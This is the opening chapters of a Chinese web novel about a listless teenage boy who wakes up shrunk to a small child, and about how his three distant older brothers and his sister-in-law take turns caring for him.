《我有三个霸总哥哥》
1. 一废物
“起来。”
有人推一下他。
尺绫感觉有些熟悉,迷糊睁眼,看见床尾走过一个人影,是他的哥哥。
他坐起来,手揉半边脸,尺言丢给他一件衣服,破开空气,精准落到他面前,催促道:“赶紧穿了吧,上学迟到了。”
尺绫稀里糊涂地穿上衣服,起床,下楼吃早餐。
今天的早餐是预制三明治,尺言从冰箱里拿出来叮一下,就径直送到餐桌前。他哥近几日准备的早餐是敷衍了,但尺绫没有意见。
吧唧吧唧吃完方包夹肉,尺绫按照催促,背起黑色挎包,坐上哥哥的车,出发前往学校。
半小时左右,窗外的景象从树林变为城市,远处出现一个焦糖色拼灰白的建筑,那就是他的的中学,当地最好最贵的私立。
尺绫隔得久不去上学,倒觉得有几分陌生起来。
“今天好好表现,别又懒懒散散的。”快到校门口,他哥嘱咐,话语里并没多少真切,“马上期末考,好好上一年,把毕业证给拿了吧。”
尺绫还在读初二,先前因各种原因休学几年,今年已经十七岁。原本大家共识糟蹋几年钱也没关系,可今年偏偏遇上个严厉的班主任,每天都在逼他赶紧升学。
好巧不巧,这个班主任是他大哥的妻子,托尺绫的福,刚结婚。尺言承受不住线上线下的轰炸式劝学,不得不管起尺绫的学业来。
到学校门口,十多辆豪车映入眼帘,都挤在一起等着接送,无论身价多少,此时倒是一律平等。尺言没有挤进去,而是在百来米的地方停下,让尺绫自己走过去。
“今晚你搭林老师的车回来,吃一顿饭。”尺言叮嘱一声。
尺绫听进去一半,没听进一半,整理好挎包过马路,往校园的大门走进去。
他以往都是迟到,单独从小门进,保安已经习以为常,但这几天被迫着和同学们遵守一样规矩,多少有点不习惯。
幸而这学校有高中部,他这模样在出入校园中还不算突兀。
上教学楼,私立氛围比较轻松,有学习的也有玩乐的,班级里稀稀疏疏来了半数人。尺绫坐好在自己的座位上,放下挎包,迎着周围环境,开始进入一声不吭的状态。
他在学校里算是个大人物,毕竟快成年了还没读完初中,放哪儿都是个大新闻。在班里大概是有班主任制裁着,倒没那么显眼,同学都不过多在意他。
上午认真听三节课,还做笔记,后面没忍住睡了两节课。去食堂吃完普通的饭,闲逛一阵儿,接着回班级上下午的课。
物理老师说期末考试的试卷很难,全班一片哀嚎,尺绫坐最后一排,歪歪头听门外的声响,些许吵闹。
这阵吵闹一直持续到下午的自由活动时间,有人忙忙去参加社团,有人待在教室自习。班里面没剩几个人,班主任林老师过来巡堂,特意关注尺绫的动静。
尺绫拿着笔,心不在焉写试卷,屡次音乐声响起,屡次往后门外看。
“初一在过六一儿童节。”林老师走过来,出声。
尺绫竖起的耳朵被打断,林老师在他身边停绕,故意找话聊:“你就别看了,你别说六一,你马上连未成年都不是了。”
尺绫没应,重新低下头,写今晚的课后作业。
一日的上学时光过得很快,转眼,他就坐上林老师的车,离开学校。
他看着车窗外夕阳落下,好像有什么想说,但不想张开嘴,于是就一直看着。
“你努把力,把学业水平测试考完,一切就都好说了。我已经给你看了两间国外的学校,下学期你就把语言考完,毕业证一下来就能去读了。”
林老师对这个小叔子还是很上心,称得上是鞠躬尽瘁,死而后已,呕心沥血……不仅管初中,还给他大学、硕士、博士的路都给规划好了,就是不知道尺绫领不领情,他坐在后排,没有表态。
回到尺家,和三个哥哥同桌进餐,固定每周一次,原意是要联络感情,后面变成个形式。
毕竟父母去世多年,彼此聚少离多,还和大哥隔着层同父异母的关系,能搭上两句话就不错了。
林老师向丈夫提起对尺绫的留学安排,大哥尺平听完,哼唧一声锐评:“公司不收水硕。”
今天他又一句话没说,吃饱就走开,靠在沙发上,准备等着尺言开车把他捎回公寓。
大哥也用餐完毕,路过沙发边上,不满地瞥他一眼。
尺绫不说话,只要他不出声,就相当于没被骂,懒洋洋地装聋扮哑。
“你也听到了,”尺平罕见朝他发言,语调没他印象中冷漠,更偏向平静的聊天,“你嫂计划让你出去读,你好好配合她,别再弄些乱七八糟的了。”
尺绫没应,毕竟他和眼前这个所谓的大哥不熟,也没受过他多少照顾。
“费用你不用担心,我出。”尺平似乎看穿了他心思,知道他在芥蒂之前没怎么管他,径直出口,“你读完回来后可以在我公司帮忙,也可以自立门户,总之是要把学历拿下来。”
一番不似说教胜似说教的单方面对话结束后,尺绫又一个人待在客厅里,落寞挨在沙发上。灯有些发黄。
“我去上班了。”尺言拿起钥匙,匆忙出门去。他今晚吃饭拖得有点晚,夜班要迟到了。
尺绫扒沙发,够起身子:“啊,那我呢。”
尺言一边走一边整理衣服,到达门边换鞋:“你明天没课吧,在这睡一晚呗,明天早上再回去。”
尺绫还没应,门就关上了。他只好啪嗒躺回沙发上。
他看着天花板和灯,在这里睡吗?可是,这间屋子里,根本没他的房间。
倒不是刻意排挤,末子不配进门什么的。尺绫以前是和父亲住的,父亲病死后,那个房间便被封了起来,他连自己的床都没有了。
那时候也顾不上房间啊家产啊,尺绫本身有不少问题,尺言把他带到身边照顾治疗,期间也没回过尺家住。
到十六岁要独立生活的时候,尺言径直送他一栋公寓,因此尺家中的房间事项一直被搁置,时至今日还没解决。
从外人看来,这么大的房子,客房都有三四个,却没给尺绫能收拾出一个独立房间,这必定是悲惨的。尺绫多少也有感觉,但他并不把这个家看得很重要。大哥的公司啊这栋屋子啊,父亲留下的遗产啊……和他基本没有关系。
他能浑浑噩噩过好自己生活,这就足够了。
他躺在沙发上,思索今晚会睡哪间客房,老管家走过来,恭敬欠身:“尺绫少爷,已经给您收拾好房间了。”
客房睡多了也就成了默认过夜房,老管家带着他上去,果不其然,是上次睡的那间。地处南面,比较逼仄狭小模板化。尺绫没有认同感。
他躺上去,恢复懒洋洋的姿态,与其说是懒洋洋,不如说是无精打采。干什么都提不起劲,对生活也没有兴趣和欲望。
有时候他真的会想,活着到底有什么意义呢?对他来说,呼不呼吸似乎都没什么区别。
尺绫翻身,抱住刚清洗过的被子,闻着上面的洗衣液味,蜷缩起身子。
他想到父亲,想到很久以前的自己,想到他见过的人和死去的人。
他想要是回到过去就好了,他什么都不用想,也什么都不会想。
-
书房内,尺平在沙发椅上,捧着一本书,手
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边的茶几放一杯花茶。
妻子刚刚洗漱完,出来,抹着头发,他们又不约而同地将话题落到弟弟尺绫身上。
“你给他做做思想工作吧。”妻子出声道,她对着镜子梳头,心里还惦记着学生的事。
尺平有些不自在,扭了扭身子,没应。妻子继续道:“这条路确实挺合适他的,目前能破局也就这个办法了,他心里肯定不太情愿,毕竟出国好几年。”
“他又没说。”尺平抿抿嘴,翻过一页书。妻子有些埋怨:“你看他那样子是会说出口的吗?平时也没几句话,喜不喜欢也不说。真不知道你们怎么把一小孩教成这样的。”
这么沉默寡言、消极内向、眼神比嘴表达多的学生着实少见,不说天生性格,百分百与原生家庭肯定脱不开关系。
尺平蹙蹙眉,他的确不怎么管这个弟弟,也没跟妻子完全交代家里以前的事。她是有些不明不白地责问,但论起责任和自己是脱不开关系的。
“桐桐最近怎么样了?”尺平翻书一页,问起在国外读书的养女近况。
林梓有些意外,明明这他俩才是更亲近的一方,还是答道:“挺好,她没给你发信息吗?昨天才发了动态。”
“可能屏蔽我了吧。”尺平拿起手机刷,点了好几下,又想到妻子与弟弟更为亲切,低声道,“还是你去吧,你更合适。”
“你女儿的事我在管就算了,你弟的事还要我管?”妻子似乎有点不乐意起来,对着镜子涂面霜,“钱是你花的,几年下来没个五百一千万都够呛,两个都是你提出要送出去的,我没权帮你主持。”
“这不一样。”他试图抗辩。
“得了吧,想要和人家搞好关系又不愿意去,平时一见面就是漠视。”妻子戳穿他谎话,话语客观冷淡,“但凡你拿出对桐桐三分之一的态度来对尺绫,关系早比现在好不知道多少倍了。”
尺平虽然还捧着书,装模作样地看着,实际上心思已经飘来飘去,陷入反思。
强硬定坐十五分钟后,他终于放下书,起身走向客房。
隔着远远的,就看到老管家守在门口。他走过去,“服叔。”
老管家帮忙开门,并且沙哑着声音,轻声细语:“尺绫少爷已经睡了。”
门轻轻咯吱一声,推开一道缝隙,里面透出些亮光来。床上的人蜷缩在被子里,只露出些许头发,呼吸安稳。
尺平看到眼前一幕,果断推开门的手停住,犹豫两秒,脚步后退。算了,明天再说。
回到卧室,尺平对妻子的说教耿耿于心,确实态度确实太过漠视。夜晚揣度着该用怎么样的言辞、语调,想了不少,翻来覆去一夜过去,他还是胸无成竹。
起床,戴上眼镜,尺平洗漱过程中也在反思中组织言语。莫名其妙走到客房,推开门。他看到床上的人还如昨晚一样睡着,没醒来。
他的紧张突然消失,取而代之一把火暗暗涌上来,八点多了还赖在床上,这个废物弟弟真就不成气候呢。
他强忍着嫌弃,没有像以往一样转头就离开,而是皱着眉把昨晚没关的灯关掉。
窗帘一直关着,阴森森的,他一把扯开窗帘。动静有点大,在空气中一声破开。
床上的人似乎被吵醒了,窸窣动了动。尺平正准备早起斥责废物弟弟一顿,一回头。
尺平:“嗯?”
尺平:“……!?”
宽敞床上,一个小孩坐在被褥里,睡眼朦胧地用手揉眼睛。
小孩及肩头发遮住大半边脸,眯着眼,皮肤白嫩。尽管现在的身躯只有被子四分之一大,但还是能从略显稚嫩的面庞中辨别出——
这就是,尺绫!
2. 缩小了
在被褥里睡眼朦胧的小孩,松开白白软软的拳头,停止揉眼睛,茫然望望四周。
他看上去对房间并不熟悉,也不陌生,目光迷糊往周围扫去,最后落在尺平身上。
尺平对目光过敏,触及到的一瞬间深深呼吸一口气,身子骤僵,眼前的画面冲击力实在过大。
小孩目光没有挪开,尺平突然无比希冀眼前人能像往日敷衍地朝自己打一声招呼,很可惜没有,小孩不在意他,而是自顾自打了个哈欠。
不对,这不对。
这到底发生什么了?
尺平靠着墙,手摁到粉刷漆面上,指尖一触及就感受到分明的寒意,直叫人僵硬。他脑海霎时间乱作一团,会不会是梦。是他睡觉被子没盖好吗?还是手落到瓷砖地上了?
不甘心摸索好几下,指尖冰冷没有回温,他就知道眼前这件事,糟糕透顶。
他那废物弟弟,缩水了。
-
尺绫一觉醒来,不同于往常赖床的懒意,只觉得自己很困,也很累,浑身软绵绵的。
一阵强烈的太阳光照进来,落到身上,眼皮子很不舒服。
他揉了揉眼睛,模糊间,看到自己的手好像变小变软了。
他看到大哥惊愕的表情,明白有什么东西发生改变了。
他知道自己该去思考,但他也没办法多想。脑子不断发射困意信号,身体拼命打哈欠,他下意识去抱住被子,又闭上眼睛。
等众人来到房间时,尺绫已经将头埋进头发和被褥里,再度入睡,呼吸起伏有节奏。
“你们看,就是这样,我什么都没做。”尺平急于澄清,急促之间压低了声音,“这就是尺绫。”
其他人定眼,这房间这床,确实是尺绫昨晚睡得。可这床上明晃晃的,是一个酣睡的小孩,长得有九分甚至十分的温和可爱。
尺绫的鼻息轻微,呼起在鼻尖停留的一缕发丝,而他稚嫩的面庞十分安宁,白皙精致,一只小手蜷起来靠在唇边。
那睡姿,就好似刚出世的婴儿一样。
尺绫缩小成七八岁的模样,作为医生的三哥把他拉到医院去,给他测了骨龄,发育评估,认知测试,基本都在八岁的水平。
大哥尺平没有反驳,毕竟光从模样上看确实差不多,他对幼时的尺绫完全不了解,也不好多发言。
二哥尺言却有不一样意见,他上前去捧尺绫的脸,仔仔细细摸一遍两遍三遍,紧接着笃定说道:“这是他的十岁模样。”
尺言从小照顾弟弟,亲手拉扯到现在,他能记得他每一年的长相,所言所语不乏信服力。
白色的医院让尺绫眼睛很不适应,他感觉天花板、墙壁、还有各种仪器都在发光,照得他头晕目眩。他投入尺言的怀中,想让他帮自己遮挡光亮。
“没办法了,医学上只能区分到这里。”三哥尺尚轻飘飘一句,他实际上并不算在意,转身再次查看检查报告。
大哥轻扶眼镜,陷入沉思:“直接问一下。”
问是问好几遍,尺绫一直闭嘴不答,这下难办了,不仅身体变小了,连思维都一并回去了。
此情此景,三人终于明白,他们的弟弟,尺绫,已经变成彻头彻尾的大麻烦:一个不会说话、不会表达、只会埋头玩手指的自闭小孩。
是的,没错。六七年前的尺绫,一直都是这幅模样。
唯一对他还充斥耐心的是尺言,见尺绫失去安全感,他重新蹲下来进行抱搂,继续安抚他。
“没事啊,别怕。”
发育迟缓、刻板动作、语言功能障碍……本来被调养好的尺绫一下回到解放前,没有任何生活自理能力。这里三个哥哥,只有尺言一个人有应对经验,其他人被打得措手不及。
只是,尺言也不是当年的尺言了。他之前为了照顾弟弟,主动放弃学业,手把手带着治疗,可他现在是个主持人,还兼顾制片、幕后等工作,事业越做越大,没办法像当年那样随意脱身。
其他两人还没从尺绫突然缩小这件事里反应过来,尺言就熟练地抱起尺绫,提出实质问题:“我晚上去上班,他睡觉。早上下午我能带一下,没办法长久。”
“先观测几天,看看他身体会不会有什么异常,要后面没问题,就给他报个托管班。”
尺绫对光的反应很不适,一个劲把头埋在哥哥肩头。尺言替他遮住光亮,说出一件很棘手的事:“但我明天要去出差,没办法带他,需要有人照看。”
尺平和尺尚面面相觑,这话的意思是,担子落到了他们身上?
回到尺家,几个人前前后后,尺言还一直抱着尺绫。直至开门后,才将他放到地上。
尺绫一落地,就往屋子里面跑,脚步哒哒的。
开门的是林梓,她侧过身,目光一直跟随着小跑的尺绫,重新抬头,脸上充斥惊讶。
她今天一大早出门,收到消息,立马从外面赶回来,尽管做过心理准备,可亲眼看见学生发生如此之大的改变时,冲击力极强。
惊愕半晌,她被迫接受现实,并且主动参与进责任分配的讨论。
“尺言要外地出差,这段时间必须要有人照顾尺绫。”她了解完当下状况,简约阐述事实,径直把话头对向尺绫不作为的两个哥哥,“你们两个谁有空,谁就先带着,轮流带。”
按正常来说,直接丢给老管家也是种解决办法,但管家年事已高,隔三差五就要医院去修养,这几周也只是负责做饭。
就算老管家能负荷照看,但终归少出门,总不能直接把尺绫丢在家里观察数日,这跟坐牢没什么区别,社会化程度低的小尺绫,需要一个能带他维持社会活动的人物。
科研大拿尺尚说:“我没空,一三五有课,二四六排班。”
林梓把目光转向自己的丈夫,这个无所事事的公司董事,每天去大楼里打卡签到,没什么正事干,首当其冲是最合适的人选。
“嗯,”尺平哼唧一下,明显没料想到,故作镇定询问,“我吗?”
“我没课的时候可以带一下他,但最近期末忙得很,没办法只能交给你了。”林梓从神情读出丈夫的
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内心想法,话语都变得严格些许,“也不要求你把他照顾得多好,别饿着走丢就行。”
这件事难度并不大,在家有老管家做饭,而且照看对象性格也不坏,只需要定期遛一遛尺绫即可。
处于风暴中心的尺绫,正好奇地玩着林梓新买回来的圆球抱枕,往上面依着靠着,没听众人讨论。
“我不合适。”尺平故作镇定,声音一如既往冷漠,但掩盖不住推脱的意图。
“这么定了。”林梓当做没听见,主张拍板。
讨论过后,尺尚离开家回学校,一头扎进实验室。原本今日是没有聚餐计划的,但由于尺绫的突发情况,尺言在家多滞留一阵儿,留下来吃饭。
原本日夜颠倒的他也没合过眼,一心扑倒在弟弟身上,安排妥当各种事物后,吃完晚饭又得接着去上班了。
幸而缩小后的尺绫还有一点基本的生活常识,能自己拿勺子舀饭,不需要人喂到嘴里。
这可人省心许多,对比于尺言当初接手的状况,可谓是天堂开局。这也证明他的努力没有白费,十七岁的弟弟变小后,依旧保留不少习得性技能,都多亏了他。
尺绫吃饱,放下勺子,很明显有了困意。今天车来车往去一趟医院大概消耗不少精力,小孩子就是这样,尤其是尺绫。
尺言放下筷子,把通勤时间一再压缩,亲自带尺绫去洗漱。
见这一幕,尺平放下碗筷,一缕额发落到眼镜上。他用手去拨开,失去胃口,呼出薄息。
虽然有照料养女的经验,
一想到接下来整个星期,都需要他来这般照料这个感情稀薄的弟弟,就不由得提前十二小时棘手。
尺言将洗漱干净的尺绫抱回到床上,时间已经很紧张了,但他还是选择亲自哄他入睡。
这个缩小版尺绫并不难照顾,起码没之前难。尺言帮忙盖好被子,尺绫乖巧蜷起身子,靠在枕头上,小手却抓着自己的手。
无论是以前还是现在,尺绫都极度依赖自己。尺言抚开他额头的软发,轻声道:“快睡吧。”
尺绫没有闭上眼睛,睁着眼看他。
尺言又蹲下来,弯腰贴近:“我明天要出差,三天都不回来,你在家好好地跟着林老师他们。”
尺绫听懂了,他没出声。尺言有些不舍得,继续摩挲他额头:“你还记得我电话吧,要是谁欺负你,就打给我。手机放在这个柜子里了,用座机也行。”
抽屉拉出来一遍,又推回去一遍,发出咔嚓声音。尺言还想说些什么,但最后没说,起身亲他额头一口,关上灯往房间外走去。
偌大的房间里只剩下他一个人,尺绫缩在被子里,看着装满黑暗的天花板,他侧过身来,像哥哥一样拉出抽屉,看里面的手机,又推回去,一直反复数次。
咔嚓声响好几遍,他动作停止,抽回手缩进被褥,房间里恢复死寂。
尺绫掰着手指,反复好几十次,他想着哥哥的话,想着谁可能欺负他。
记忆愈发模糊,如此这般大海捞针,他没过多久睡着了。
3. 去公司
早上醒来,房间的门开了一条缝,可昨晚是关上的。
他坐在被褥里不动,身上有一点热,也有一点冷。不知道多久,走进来一个人。
尺平这次非常拘束,收着情绪,用略显别扭的声音问候:“醒了?”
他今天早晨每隔二十分钟,就从门缝里窥探尺绫的情况,床上的小尺绫除呼吸外几乎不动,这段等待可谓是折磨。
孩童本就睡得比大人哆,更何况是以懒闻名的尺绫,尺平不敢轻易惊扰这个缩小版的弟弟,称得上束手束脚、小心翼翼。
尺绫没有回话,尺平抹抹鼻子,倒吸一口气,刻意压缓声音:“醒了的话,冷不冷,先换件衣服吧。”
明明是六月份,却有些阴凉,是个需要穿长袖的季节。尺平在床边落座,手指挑起昨夜尺言提前收拾好,放在枕头边上的衣服,拘谨地帮尺绫穿上。
“来,把手抬起来。”他扬手。
简直比帮陌生人穿衣服还别扭,尽管眼前只是个豆大的小孩。
尺绫抬起手配合,却没多少亲近,脑子告诉他要听眼前人的话,残存的情感却使他们疏远。
他意识里就做不到像亲昵尺言一样,亲昵眼前这个眼镜哥哥。
穿完衣服,尺平双手离起,好似完成了拆弹,松懈呼出气息:“好了,刷牙洗脸,去吃早餐吧。”
尺绫窝在被褥里,还是有点冷。直至尺平推了一下他后背,他才下床。
昨日尺言特意交代了一次他刷牙洗脸。事实上,他原本也会。变小并不影响他的记忆,只影响他的思维,他对这些基本的生活礼仪还是存有概念。
洗漱台设置高了,他有点吃力,要踮起脚才能将水吐到圆心。
如此捣腾十分钟后,尺绫洗漱完成,用力推开浴室门,探出头去,却发现外面一个人都没有。
这个眼镜哥哥并没有等他,而是独自走了。
尺绫不喜欢这样。这意味着他要自己下楼,自己找路,自己出房间。面对门外的光亮,他更愿意停留于屋内的昏暗。
他坐回床上,没有下楼。
楼下在餐桌等候的尺平,端着他的书,等了五分钟,看看表,又等五分钟。他抬头看楼上,再次等了五分钟。
早餐已经凉了,尺平终于放下书,手从兜里掏出,起身,往楼上走去。
“还没好吗?”他推开门探头。
看到静坐在床上的尺绫,他一愣,哑言,无名火混合着无语:“好了怎么不下来。”
他语气带上责怪,眉头皱起,伸手去拉尺绫。尺绫抬头看一眼他,有些害怕,起身配合。
“服叔中午不回来,你等会和我一起去公司,一直待到晚上。”尺平道。
今天的早餐是老管家提早做好的,有香肠鸡蛋还有粥,只可惜粥已经凉得黏稠,紧紧粘在碗底。尺绫坐到位置上,拿起勺子往下戳,只收获一根拔不出的勺子。
他转头去吃鸡蛋,拿起一颗看了看,在桌子边磕破。
尺平坐在一旁沙发上,故作端坐拿起书,细条慢理翻几页。早晨泡的红茶还在手边,他抿一口,才察觉彻底凉了。
他微顿,后知后觉想起来尺绫的早餐,把翘起的腿重新放下,略带犹豫地站起身,走到尺绫身边。
“冷不冷。”他停顿,伸手去抹粥碗,发现勺子已经被死死锁住。
尺绫低头吃着冷鸡蛋,小手捏碎蛋白往嘴里送,指甲沾上蛋黄。味道并不好,但这个小孩毫无怨言。
尺平:“……”
还真挺好养活,一言不发的。
可能是看不过眼,也可能是出于良心的谴责,尺平帮他把早餐都热了一遍,折腾小半小时,才完成今早的进食。
拎起昨日妻子帮忙收拾的帆布包,里面有毛巾、纸巾、和儿童用保温壶,甚至塞了点水果糖,特意嘱咐他出门带上。尺平觉得太过夸张,但还是拎上了。
司机准时将车停在家门口,尺平帮忙拉开后门,小尺绫连攀带爬上了车。
司机是他的亲信,嘴巴严密,见到老板反常带个小孩时,也没表露出震惊诧异,一如往常地缄默。
尺平关上门,放下帆布包,摘下眼镜:“去公司。”
今天周日,趁着假期玩的人不少,路上略显拥挤。小尺绫在后排折腾,似乎对出门很有兴致,坐一边的尺平很无奈,不打算管,任由他肆意攀爬。
十多分钟后,他们到达公司大楼。地理位置很是不错,位于市中心城区,干净整洁,四处繁华。
大楼总共七层,远远达不到写字楼水平,但好在都是自家的。周末没多少人上班,只有业务部、保安前台、部分管理层要到岗,当然也有加班的职员,数量很少。
尺绫跟着尺平下车,穿过玻璃门,走进宽敞明亮的大厅。
装修没有采取冷调的现代风格,而是大理石白黄暖色,宽敞却不空旷,给人感觉很舒适。
尺绫好奇地抬头望,尺平拖着他往前走,马不停蹄,到电梯口时,他发现尺绫还在回头看大厅的吊灯。
他突然想起,这个弟弟,是第一次来他的公司。
他十七岁了,马上要成年了,却连上一代遗产的企业都没接触过。尺平咬了咬嘴角,心中触及到什么似的,产生些不愿意承认的别扭。
这公司本就指名是给他的,其他人,老二、老三,末子,一分钱一点股份也没有。放在别的豪门家庭里,大概是偏心至极,其他人必定要闹个不停。
只可惜,他们在尺家。
亲情稀薄,加上同父异母,尺平不仅和尺绫疏离,和另外两人的关系同样不深。尤其尺言,他们之间的相处,更多是点到为止的礼貌。
他也深知,尺绫也好尺尚也罢,实际承认的大哥只有同胞兄弟尺言一个。对于父亲留下的经济遗产,与其说不争取,不如说他们都不在意。
尺绫扯了扯他的手指,他回过神,电梯到了。
他领着尺绫进去。
一个员工同样在等电梯,跟在他身后,见到老板进去了,有些踌躇。尺平看出他犹豫,招呼道:“进来吧。”
员工不得不进,抱着文件低头,钻入同一辆电梯中,一边讷声:“老板好。”小尺绫懂事地往后退一步。
尺平出声:“几楼?”
员工才回过神来:“噢噢,五楼。”
电梯运行得很快,刷一声五楼就到了。门打开,员工小声抛出一句“谢谢老板”,逃离似地低头飞快迈出。
小尺绫看见人离开,往前迈一步,站回原位,手还牵着尺平。
七楼到了,高管办公室,视野开阔。其他人见到老板来了,稍稍吃惊,继续低头勤勤恳恳工作,不做多余的招呼。
刚推开办公室门,尺平就松开尺绫的手,尺绫开始脚步哒哒哒,往白色的办公室里跑去。
今天助理昨天没上班,上次杯子里喝剩的水还没倒,飘一层灰。尺平拿起,瞥一眼,自己倒了重新装。
给助理发消息,大概是受惊了一下,对方忙忙回:“诶在的在的,老板,您今天回来吗?我跟着采购出去了,马上就回来。”
他皱眉头,原本想斥责两句,停顿半秒,才头疼似得敲了敲额头,他昨天太过心烦意乱,忘记对助理提前说了。
尺绫蹲在角落玩,跟未开化的小动物一样。尺平见这场面更加头疼。
他拨打电话,不过三秒立马接通,他看着表问:“你什么时候能回来?”
助理大概是有些慌张或是心虚,说话远不太利索,远没有平时沉着:“可能,一个小时左右吧。”
现在时间接近十点,一个小时后才能回来,那一整个上午都要浪费,属于重大失职。助理闭上眼睛,做好挨骂的准备。没料到,话音停下来几秒,老板没有想象中的斥责,而是思索一句:
“11点的话,那回来的时候带两份饭。要健康点的,小孩子能吃的那种。”
“好的老板,”助理一愣,嘀咕,“嗯,小孩?”
“不要上火的,要卫生过得去。”尺平避开问题,补充,“价钱你看着办,回来报销。”
助理立马闭嘴,只剩下点头允诺:“好的老板。”
放下电话,尺平拿起几份堆积的报告,尝试着翻看。实话实说,看了又看,也没有需要他的地方。
这间公司是设定好的程序,自称体系,无论他来不来,都照样会运作,管理层都是人才。他只需要坐在家里,每个季度就能拿一笔不菲的分红。
他曾经过了几年这样的生活,每天无所事事,在家中看书喝茶,不需要上班不需要操心,活脱脱的上流闲人模样。
只不过,时过境迁,事物总不是一成不变的,近两年有几个老股东想作妖,大搞股权转让,闹公司担保,已经到了影响正常运行的地步。
再不管下去,估计分红也越拿越少,控制权也迟早丢失。尺平只好亲自上手,他管理专业出身,有些许天赋,不过一年半载,便将一切管得井井有条。
谈业务不需要他,拉融资也不需要他,法务财会这些自有部门安排。高管层兢兢业业履行职责,只需将审查过的重大事项向他汇报,财务报表递交上来看看有无问题,召开董事会的时候到个场,基本没什么实质□□做。
他于这家公司而言,除一个老板的名号,没什么价值。
尺平在进行毫
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无意义的思索时,尺绫已经换了个角落玩平板,不亦乐乎。
助理回来的时候,脚步匆忙推门而入,只见老板像往常一样靠在椅子上,气定神闲看着文件,而一个小孩蹲在墙角,自顾自玩电子产品。
她心中微惊,只依稀记得老板有一个在外读书的女儿,现在是又冒出来一个小儿子?
她将带回来的饭热好,排开在桌面上。这是私厨做的家常菜:白灼鲜虾、油炒芥兰、清炖狮子头、淮山百合豆浆粥、什锦果盘。看着就很健康,她招呼:“老板可以用餐了。”
尺绫不太饿,没从墙角出来,尺平喊两三声,都没反应。
尺平干脆起身,两只手扣住他咯吱窝一提,从墙角抽出来:“别玩了吃饭。”
手上摸来摸去,沾不少油墨灰尘,尺平看不过眼,直接丢给助理:“带他去洗个手。”
助理牵引这个小老板,模样长得讨人喜欢,眼神天真可爱。就是感觉年纪不大,外貌顶多七八岁,助理想到其他小孩嘴巴伶俐的样子,又把年龄往下减,估计也就刚过六岁。
“老板,这小朋友真乖啊,是您谁呀?”她一边帮小孩洗手,一边试探性询问道。
尺平没有立刻作答,倒吸了一丝凉气,单手扶了扶眼镜,“额,我老婆亲戚家的小孩,帮忙带几天。”
手洗完,尺绫甩干,助理领着他到茶几边上吃饭。准备好餐具,夹好菜。
尺平在位置上看毫似不在意地翻文件,实则每隔几十秒就要余光偷瞥一下尺绫和助理,心想对就这样,先让他吃饱,千万不要饿在自己头上。
尺绫吃几口就不吃了,捧着小碗,挨在桌子边上喝淮山百合豆浆粥,似乎对这个甜品情有独钟。
这小孩哪都乖,也不吵也不闹,唯一一点就是喜欢蹭地面。助理眼看他从沙发倚到桌子边上,从桌子边坐到地上,不再起来。
助理非常无奈,手足无措看一眼老板。尺平也注意到,温声发令道:“由着他吧。”
他亲爱的弟弟没吃多少东西,光喝大半碗甜品粥,也不在意肉蛋菜。
“这个粥味道甜甜的,毕竟浓郁,小孩子一般都喜欢。”助理看出老板的想法,解释道。
尺平回忆,他似乎是挺喜欢吃甜的。
尺绫捧着甜品粥,坐在地上看平板里的小视频,这是尺言出差前的遗物,特意让他打发时间。
他今天变小,后天变老,大后天说不定就有可能死掉。尺平把弟弟当病人来看,包容心就放大很多倍,能全盘接纳这个几岁小孩。
叽叽喳喳的小视频荼毒着小尺绫的身心,充斥整个办公室。尺平想电子产品真是个好东西。
就这样过一个下午,他理顺明天晨会的内容,小尺绫也玩累了在沙发上睡着。六点的时候,大家都下班,他带着尺绫离开。
想了想,这是无趣的一天,除了待在公司没干什么事情,尺绫大概也无聊,只是不出声。
尺平想到这,本来想拉开车门的手停住,带他出来是为了社会化,今天目标没有达成,总该找点补。
六点多的夕阳刚刚落下余晖,不一阵儿,满地金黄。天边的火烧云一簇接着一簇。尺平看向街道,车流人群浮掠而过,远处的商业街还开着张。
“你到前面去接我们。”他这样对司机说道。
他领着尺绫,开始逛街。
街上有不少父母带着小孩趁着周末假期出来玩的,嚷嚷着要吃冰糖葫芦买大玩具。
尺平选择沿外围走一圈,人流量不多,取而代之的是没什么东西看,基本都是设计优雅的家居店、服装店、百货商城……
尺绫也不闹,也不买东西,走马观花地两边看看。
对于尺绫来说,这长达六百米的商业街信息量很大,连飞驰车辆的混杂灰尘的尾气味道,都值得他留意好几十秒。
闲逛十来分钟后,尺平想差不多够了,正欲提速赶紧结束,尺绫却突然停下来。
尺平回头。
他站定不动了,尺平随着他目光向旁边投去,落在一个橱窗里,橱窗里有个儿童小背包,款式很新潮。
尺平问:“喜欢。”
尺绫没有回答,保持一如既往的安静,但他目光一直不挪,脚也不走。
尺平进店,买下了这个包,是最新款,模样是拼色七寸小包,带一个栗色小马logo,价格不便宜。
“买了以后东西自己背。”尺平说道。
尺绫没回话,也没说谢谢,但小包递到他手的一刻,他立马攥紧塞入怀中里,明显很喜欢。
尺平想,自己总算做了件人事。夕阳越来越灿烂,落在地上如湖面,一阵波光粼粼。
4. 洗头发
回到家,妻子还未归来,老管家正在做饭,一撒手,尺绫又哒哒哒跑进屋子。
他立马坐到沙发上,低头研究新买的小马包,捣腾两下,马上就视若珍宝。
不久,林梓回来,饭也做好了。
饭桌上,妻子一直问尺绫今天发生了什么,开不开心。尺平听着这些询问,看似漠然吃饭,实则心中忐忑。幸亏尺绫一个字不答。
吃完饭后,尺绫又立马跑去捣鼓小包,把自己喜欢的东西都往里面塞。
“你还给他买了个包啊?”林梓看到小马包的时候,惊奇一下,“挺好,做了件人事。”
这毫无疑问是一句夸奖。尺平抿嘴拿书,后靠在椅子上,故意不出声假装清高。
“明天我有空,我把他带学校去。”林梓顺水推舟,“如你的愿了,可以好好开会。”
这句话一出,尺平翻页的手一顿,书页在半空中停住,几秒后安静落下。
妻子的话如裹满凉意,再度漫不经心吹入耳中:“你要是想带的话明天你可以继续,不愿意就由我来带。”
他压抑住自己的意愿,不开口说话,盯着书看。
不好意思和要面子混杂,妻子倒不惯着他,当没看见也没读懂,拿起从学校带回来的卷子批改起来。尺平感觉自己应该做些什么,踌躇半晌,起身。
他走到在沙发边上,一阵阴影压下来,覆盖住整个尺绫,尺绫抬头。
他脱下眼镜,揉了揉眉间,酝酿十来秒,出声道:“走,到时间洗澡睡觉了,我带你去。”
尺绫这才放下爱不释手的小马包,从沙发落下,跟着眼镜哥哥走了。
上一层楼,到达尺绫暂住的客房,推门而入。尺平第一眼觉得狭小,第二眼觉得阴森。窗外簇着树叶摇晃窸窣。房间位置本就在偏僻的角落,让小孩子住还是有些不妥。
尺平把所有灯打开,拐进浴室,尺绫驻足在门口,看着他忙来忙去,目光注视。浴室传出一阵哗啦啦的水声,又停下,尺平出来,只见他卷起袖子,手上湿漉漉还冒着蒸气。
